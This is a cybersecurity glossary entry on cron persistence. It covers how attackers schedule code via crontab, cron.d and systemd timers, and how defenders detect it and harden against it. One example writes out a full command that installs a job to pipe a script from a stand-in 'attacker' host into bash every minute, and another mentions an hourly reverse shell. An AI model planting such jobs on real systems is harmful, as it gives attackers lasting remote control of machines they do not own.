Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 238

Cron Persistence

What is Cron Persistence?

Cron PersistenceLinux and Unix persistence technique that uses cron, anacron, or systemd timers to schedule attacker code so it re-executes at a chosen interval or system event.


Cron persistence (MITRE ATT&CK T1053.003) targets the Unix cron daemon and its variants (anacron, fcron, systemd-timer counterparts). Attackers add entries to /etc/crontab, /etc/cron.d/, /etc/cron.{hourly,daily,weekly,monthly}/, or per-user crontabs (crontab -e). Common payloads are reverse-shell one-liners, downloader curl pipes, or scripts in /tmp. Because cron runs as root or the user it belongs to, the technique is reliable and trivial to deploy after initial access. Detection: file-integrity monitoring on cron directories, auditd watches on cron files, baseline of expected jobs, and EDR alerts on shells spawned by cron. Hardening: restrict crontab membership, mount /tmp noexec, and enable systemd-cron auditing where available.

Examples

  1. 01

    Adding * * * * * curl -s http://attacker/sh | bash to /etc/cron.d/update.

  2. 02

    Dropping a script into /etc/cron.hourly/ to reconnect a reverse shell every hour.

Frequently asked questions

What is Cron Persistence?

Linux and Unix persistence technique that uses cron, anacron, or systemd timers to schedule attacker code so it re-executes at a chosen interval or system event. It belongs to the Attacks & Threats category of cybersecurity.

What does Cron Persistence mean?

Linux and Unix persistence technique that uses cron, anacron, or systemd timers to schedule attacker code so it re-executes at a chosen interval or system event.

How does Cron Persistence work?

Cron persistence (MITRE ATT&CK T1053.003) targets the Unix cron daemon and its variants (anacron, fcron, systemd-timer counterparts). Attackers add entries to /etc/crontab, /etc/cron.d/, /etc/cron.{hourly,daily,weekly,monthly}/, or per-user crontabs (crontab -e). Common payloads are reverse-shell one-liners, downloader curl pipes, or scripts in /tmp. Because cron runs as root or the user it belongs to, the technique is reliable and trivial to deploy after initial access. Detection: file-integrity monitoring on cron directories, auditd watches on cron files, baseline of expected jobs, and EDR alerts on shells spawned by cron. Hardening: restrict crontab membership, mount /tmp noexec, and enable systemd-cron auditing where available.

How do you defend against Cron Persistence?

Defences for Cron Persistence typically combine technical controls and operational practices, as detailed in the full definition above.

What are other names for Cron Persistence?

Common alternative names include: Crontab persistence, Anacron persistence.

Related terms